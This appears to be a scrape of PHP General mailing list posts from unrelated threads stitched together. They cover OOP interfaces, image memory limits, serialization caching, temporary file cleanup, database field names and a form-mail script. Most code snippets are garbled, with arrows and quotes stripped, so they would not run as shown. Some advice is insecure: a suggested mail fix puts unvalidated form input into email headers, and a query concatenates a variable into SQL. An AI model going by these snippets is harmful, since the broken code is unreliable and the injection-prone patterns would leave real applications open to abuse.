I did not say if you're coding anything of respectable size without interfaces and abstract classes, I don't want to hire you. I said If you're coding anything of respectable size clean separation of parts and an API between them, I don't want to hire you. Interfaces, abstract classes, and the rest of OOP are *A* way of defining an API and separation of parts. It is not the only way. OOP is a tool, and sometimes it's the right tool and sometimes it's not. Yes, it's overkill for many small projects, but that doesn't make it never-useful. I'm a Drupal developer. Our codebase is huge, and our contrib codebase is over a million lines of code, I think. There's maybe 4 classes total in all of that, all of them very recently added. :-) And yet the system itself is extremely modular with clear APIs. It's the modular and clear APIs part that makes it good, not the number of classes it has (or doesn't have). Besides, interfaces and abstract classes only came to PHP in PHP 5. :-) Now, that said, a 5000-line class? Unless 4500 lines of that is comments, I have to question if you're understanding OO design properly. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] Memory limit of 8 MB not enough
PHP list, I have a PHP script that resizes an image. It takes just about whatever size and shrinks and crops it down to 320X240. I've found that these days, it's not uncommon for people to take images straight off their digital camera, which can be 3000X2000 pixels in image size, even if the jpeg file containing the image is only 200 KB. When working with the image, it gets uncompressed and takes up a lot of memory. So sometimes I've seen an error in my logs that says: Fatal error: Allowed memory size of 8388608 bytes exhausted (tried to allocate 8000 bytes) in /home/public_html/Action.php on line 153. I contacted my web host provider, and they recommended increasing the allowed allocation limit in /etc/php.ini.

While I want to have enough to work with large images, I don't want to overload the server. Actually, I have no idea what the potential dangers are.

[PHP] PHP Serialization Performance
I'm using PHP to cache files that are backed by the database. In the course of writing these functions, I end up with a set of variables that are needed by my application, returned in an array. I can either directly generate the array in a .php file, then use require_once to get that variable, or I can use PHP serialization, write that array out to a file, then in my application read the array in, deserialize, etc. I spent awhile trying to look at the performance of php serialization, but except for one unsubstantiated comment on the php serialize() doc page, I haven't found much. Does anyone have any knowledge of that, and also of the two approaches in general? The pro of the serialization is that I think it's slightly easier to write, but the con is that it's harder to read.

Not taking into account the actual performance (you must decide how important this is to you), the quickest to implement would be a combination of serialize(), unserialize(), file_put_contents() and file_get_contents(). Using these functions you could very quickly create a persistent cache for data. It might be quicker though to use a cache that's already out there. -- Richard Heyes Employ me: http://www.phpguru.org/cv -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] What is the practical use of abstract and interface?
The term abstract has been adequately defined in this thread, so I won't
repeat it.
However, there is one important aspect of the term interface which I think
that most people seem to miss - it is not necessary to use the term
interface in order to have an interface. Let me explain with a code
sample:
class foo {
function something ($arg1, $arg2, ...) {
} // end something
} // end class foo
Here I have defined a class foo with a method called something. This
method as it stands is already an interface (as in Application Program
Interface or API) and does not require anything extra for it to be accessed.
All I need is the following:
$foo = new foo.
$result = $foo-something($arg1, $arg2, ...);
In order to include the term interface in the code you need something like
the following (which is taken from the PHP manual):
// Declare the interface 'iTemplate'
interface iTemplate
{
public function setVariable($name, $var);
public function getHtml($template);
}
// Implement the interface
// This will work
class Template implements iTemplate
{
private $vars = array();
public function setVariable($name, $var)
{
$this-vars[$name] = $var;
}
public function getHtml($template)
{
foreach($this-vars as $name = $value) {
$template = str_replace('{' . $name . '}', $value, $template);
}
return $template;
}
}
All that extra code for absolutely no benefit! It is possible to define an
interface (as in API) without actually using the term interface, so IMHO
the term interface is totally redundant and a waste of time.

RES: [PHP] PHP Speech
{Top Posting}
I don't know if I'm just lazy or stupid (or both).
I went into a similar issue few weeks ago and my solution was to add a
function to delete files created in the last X hours (mine was 24), and call
it on the same script that creates the files.
Which means it tries to clean up old files every time it creates a new one.
Is that any good for you guys?

Thiago

another way?
Right, but unfortunately, because it's audio that needs to
stream, it can't just be served like an image (think GD or
imagemagick) and then destroyed. There is no way to know how
long it will be before the client receives the entire file, and
it would prove to be too much to store in a reasonable buffer.
That's why I had to write it the way it is. The drawback
is that, yes, unless you're overwriting the file each time
(which, with high-traffic sites, would corrupt larger files
mid-download), you either have to have a script to unlink() the
files or a cron to remove them (or resort to a manual removal).
I'm all ears, eyes, and cerebellum if you've got an idea on
how to fix that though. The next phase should have better

When working with the image, it gets uncompressed and takes up a lot of memory. You might want to look into using javascript to trim the file down to a respectable size before uploading. I've never seen JavaScript's ability to work with image resizing and such. Are you suggesting using it instead to say, that file is too big, before it's uploaded? If that's the case, it may not work in Dave's situation, since he expects large files already, and therefore has the resizing script(s) in place. If I'm not totally off-point, I think the memory issue is more of GD/Imagemagick being a resource hog than the actual file size, since he pointed out that a megapixel image is sometimes still only 200K. -- /Daniel P.

I don't know if I'm just lazy or stupid (or both).
I went into a similar issue few weeks ago and my solution was to add a
function to delete files created in the last X hours (mine was 24), and
call
it on the same script that creates the files.
Which means it tries to clean up old files every time it creates a new
one.
Is that any good for you guys?
it sounds like thats what theyre talking about doing...
i was thinking, maybe put something in the session. a variable to indicate
the file was generated for some page. so like, on the page that the clip is
produced for, you drop a value in the session. maybe a path to the file;
and that would go in some array index like
$_SESSION['lastSoundByte']
so then, at the beginning part of the logic for building a page you include
something along the lines of
if(!empty($_SESSION['lastSoundByte'])) { unlink($_SESSION['lastSoundByte']);
}
that way, you could get rid of them almost as quickly as they are created;
you wont be overwriting any files for different users, and you have the
garuantee that the sound bytes will no longer be required for use by the
clients. because theyve gone to another page ;) and you eliminate any
issue about knowing when the file has been completely downloaded by the
client.
i would still consider a cron as a cleanup script tho...

In reality, you're correct. If the files have the same names, are
in the same location, and are set for removal at the same time, then
yes.

I've found that these days, it's not uncommon for people to take images straight off their digital camera, which can be 3000X2000 pixels in image size, even if the jpeg file containing the image is only 200 KB. When working with the image, it gets uncompressed and takes up a lot of memory. You might want to look into using javascript to trim the file down to a respectable size before uploading. Cheers, tedd I'd be interested in seeing an example of how you actually plan on doing that, Tedd. JavaScript can't access the file from an input field, and I'm not aware of any JavaScript image handling functions either. Andrew I saw one the other day that caught my eye -- will look into it. Cheers, tedd The first problem I see implementing the approach is the JavaScript sandbox. JavaScript is allowed to read the text of the input file field (and thus know the file name and path once a file has been selected); it cannot access the disk to actually get to the image or do anything with it. From here, I'm thinking there are a couple things you could do with JavaScript. The first would be to embed the image into the web page using an IMG tag, which would allow you to determine the pixel dimensions (but not the actual file size). The second would be what Gmail seems to do, and actually upload the form to their server with some sort of AJAX request, at which time your server could return information on the size of the file. However, if the file is too large, you're back to the original problem of needing to increase the RAM limit in PHP. The second problem is, as I said, I'm not aware of any JavaScript that can manipulate the image. JavaScript can cause the display of an image to be resized within the browser, but that doesn't actually affect the stored file. I don't know, but I guess if you could actually get to the bits, you could probably write an algorithm in JavaScript to resize an image by manipulating the bits, but I think it would be dreadfully slow if it would even run without running out of resources. I think the only pure-client options are either Java (which would require special permissions to get out of its own sandbox) or ActiveX.

Hi Everyone!

like I know what I'm talking about and that's all thanks to all of

Here's my question... I have a program, where I want to take out the
field names in a database table and display them... In other words
instead of writing:
$Query =SELECT First, Last, Middle, Add1 FROM mytable order by $order;
I want to write something more like:
$Query =SELECT $FIELDNAMES FROM mytable order by $order;
So I need to know how to get the field names from the database so that
I can populate $FIELDNAMES. I played a little bit and it looks like I
might be able to get what I want by doing 2 queries...
$QueryFieldNames = DESCRIBE $table;
And then some sort of a foreach or maybe a while to populate
$FIELDNAMES? Maybe an array so I could do $FIELDNAMES['First'] if I
needed to later.
then I can use my SELECT $FIELDNAMES FROM $table order by $order query
to do my query...
Am I on the right path? Way off base? Not even in the ball park?
Hopefully it makes sense... Cause it's right on the edge of my
knowledge so I'm not totally sure how to ask it right yet :)
PDO syntax:
$result = $db-query(SELECT * FROM mytable ORDER BY . $order_field);
$result-setFetchMode(PDO::FETCH_ASSOC);
foreach ($result as $record) {
print OMG, I have an associative array!;
}

The first problem I see implementing the approach is the JavaScript sandbox. JavaScript is allowed to read the text of the input file field (and thus know the file name and path once a file has been selected); it cannot access the disk to actually get to the image or do anything with it. From here, I'm thinking there are a couple things you could do with JavaScript. The first would be to embed the image into the web page using an IMG tag, which would allow you to determine the pixel dimensions (but not the actual file size). The second would be what Gmail seems to do, and actually upload the form to their server with some sort of AJAX request, at which time your server could return information on the size of the file. However, if the file is too large, you're back to the original problem of needing to increase the RAM limit in PHP. The second problem is, as I said, I'm not aware of any JavaScript that can manipulate the image. JavaScript can cause the display of an image to be resized within the browser, but that doesn't actually affect the stored file. I don't know, but I guess if you could actually get to the bits, you could probably write an algorithm in JavaScript to resize an image by manipulating the bits, but I think it would be dreadfully slow if it would even run without running out of resources. I think the only pure-client options are either Java (which would require special permissions to get out of its own sandbox) or ActiveX. If you know of some other approach, I'd be interested to see how it works. Andrew Andrew: I think you are right -- I wasn't able to resize the image.

My first suggestion is disable the use of exec in the disable_functions entry in
your php.ini file. I would not allow the call to exec to be completed.
so, something like this should work for now.
disable_functions = exec
also, you could modify the file that is being ran to actually capture the
uploaded file contents. change out the exec part and have it log it to a file
somewhere. Then you can see what they are actually trying to do.

There's enough out there to get whatever you're looking for, if you do the work and look hard enough. A place I worked at last year had its infrastructure centered around this system called XOBase ( http://www.xobase.com ) which is arguably the worst system I've worked with in my life. It was all procedural, though. Not a shread of OOP to find there until after I started. I quit shortly after I started because the place completely misrepresented the work I was supposed to be doing, the working environment, and a lot more that I can't say here. There were four developers working on one system, one remotely on the opposite side of the country, and the company didn't even use anything resembling source control. I can't tell you the number of problems they had when trying to roll out releases. I started in the middle of a release cycle, so they wouldn't take the time to let me try and implement at least SVN for their source control woes.

The entire processor.php file is: ?php $where_form_is=http://.$_SERVER['SERVER_NAME'].strrev(strstr(strrev($_SERVER['PHP_SELF']),/)); mail([EMAIL PROTECTED],[EMAIL PROTECTED],SUBSCRIBE,Form data: Name: . $_POST['field_1'] . Street Address: . $_POST['field_2'] . Phone Number: . $_POST['field_3'] . Email Address: . $_POST['field_4'] . powered by phpFormGenerator. ); include(confirm.html); ? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

There's no header information there. In your HTML form, add the following field (dress up the HTML as needed to fit with your form): input type=text name=from_addr Then, change the email processing code to the following: ?php $where_form_is = http://.$_SERVER['SERVER_NAME'].dirname($_SERVER['PHP_SELF'])./; $to = [EMAIL PROTECTED],[EMAIL PROTECTED]; $subject = SUBSCRIBE; $from = $_POST['from_addr']; $body = Form data: Name: .$_POST['field_1']. Email: .$_POST['from_addr']. Street Address: .$_POST['field_2']. Phone Number: .$_POST['field_3']. Email Address: .$_POST['field_4']. powered by phpFormGenerator, but fixed by PHP-General!; $headers = From: \.$_POST['field_1'].\ .$_POST['from_addr'].\r\n; $headers .= X-Mailer: PHP/.phpversion().\r\n; include(confirm.html); ? Keep in mind, though, that there's no validation and no SPAM protection there, but if you're letting Yahoo! manage the group, it's not *quite* as big of a deal. You may notice SPAM coming through to the @pobox.com address from the form though. -- /Daniel P.

Could I just use $from = $_POST['field_4']? Thanks. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
